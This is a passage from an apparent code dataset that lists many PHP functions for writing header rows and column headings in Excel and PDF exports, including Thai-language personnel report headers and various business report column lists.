set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "abstract function getheadings();", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "abstract protected function getRowsHeader(): array;", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "abstract protected function getColumnsHeader(): array;", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public function headingRow(): int\n {\n return 1;\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "function extract(){\n $datamine_row = $datamine_col = $header = array();\n $i = 0; $j = 0;\n \n // Groups all excel data by row\n for ($row = 1; $row <= $this->highestRow; $row++) {\n $rowData = $this->sheet->rangeToArray('A' . $row . ':' . $this->highestColumn . $row, null, true, false);\n if(empty($header)){\n $header=$rowData[0];\n }else{\n for($col=0;$col<count($header);$col++){\n $datamine_row[$i][$header[$col]] = $rowData[0][$col]; \n }\n $i++;\n }\n }\n $this->data_row = $datamine_row;\n \n // Re-group all excel data by column\n foreach($datamine_row as $data){\n foreach($header as $grp){\n $datamine_col[$grp][$j] = $data[$grp];\n }\n $j++;\n }\n $this->data_col = $datamine_col;\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "function header (){\n\t\t$this->setfont('Arial','B', 16);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'WANANCHI', 0, 0, 'C');\n\t\t$this->Ln(10);\n\t\t$this->setfont('Arial','',12);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'INFORMATION',0, 0, 'C');\n\t\t$this->Ln(30);\n\t}", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "function get_header_entries() {\n return array();\n }", "function get_column_headers($screen)\n {\n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 